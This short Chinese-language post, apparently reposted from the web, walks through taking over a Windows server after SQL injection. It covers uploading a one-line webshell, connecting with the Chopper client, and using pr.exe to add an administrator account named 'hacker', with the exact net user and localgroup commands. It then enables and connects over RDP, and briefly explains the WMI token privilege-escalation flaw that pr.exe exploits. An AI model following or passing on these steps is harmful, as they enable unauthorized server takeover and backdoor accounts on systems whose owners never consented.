在注入成功后，登入后台管理，上传一句话，菜刀连接
上传3389，pr,cmd
打开虚拟终端 并且切换到上传目录下，
执行pr命令，pr “net user hacker 123 /add”，添加用户让后给用户管理员权限，pr “net localgroup administrators hacker /add”
pr 执行3389
成功后，mstsc远程连接桌面，并且登录
pr.exe 提权:
Windows跟踪注册表项的ACL权限提升漏洞
Windows管理规范（WMI）提供程序没有正确地隔离NetworkService或LocalService帐号下运行的进程，同一帐号下运行的两个独立进程可以完全访问对方的文件句柄、注册表项等资源。WMI提供程序主机进程在某些情况下会持有SYSTEM令牌，如果攻击者可以以 NetworkService或LocalService帐号访问计算机，攻击者就可以执行代码探索SYSTEM令牌的WMI提供程序主机进程。一旦找到了SYSTEM令牌，就可以获得SYSTEM权限的提升。
注：本文内容来自互联网，旨在为开发者提供分享、交流的平台。如有涉及文章版权等事宜，请你联系站长进行处理。